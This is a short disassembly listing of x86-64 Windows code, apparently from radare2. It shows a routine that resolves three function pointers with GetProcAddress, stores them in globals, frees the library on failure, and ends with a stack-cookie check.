call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14003280a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140032877
mov qword [rsp + 0x298], rdi
lea rbx, [rsp + 0x28]
xor edi, edi
nop dword [rax]
mov rdx, qword [rbx - 8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
test rax, rax
je 0x140032866
inc edi
add rbx, 0x10
cmp edi, 3
jl 0x140032820
mov rax, qword [rsp + 0x28]
mov qword [0x140338960], rax
mov rax, qword [rsp + 0x38]
mov qword [0x140338970], rax
mov rax, qword [rsp + 0x48]
mov qword [0x140338980], rax
jmp 0x14003286f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rdi, qword [rsp + 0x298]
mov rsi, qword [rsp + 0x290]
mov dword [0x14033ec30], 1
mov rax, rbp
lea rcx, [0x140338958]
add rax, rax
mov rax, qword [rcx + rax*8 + 8]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1401e4950
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x280
pop rbp
ret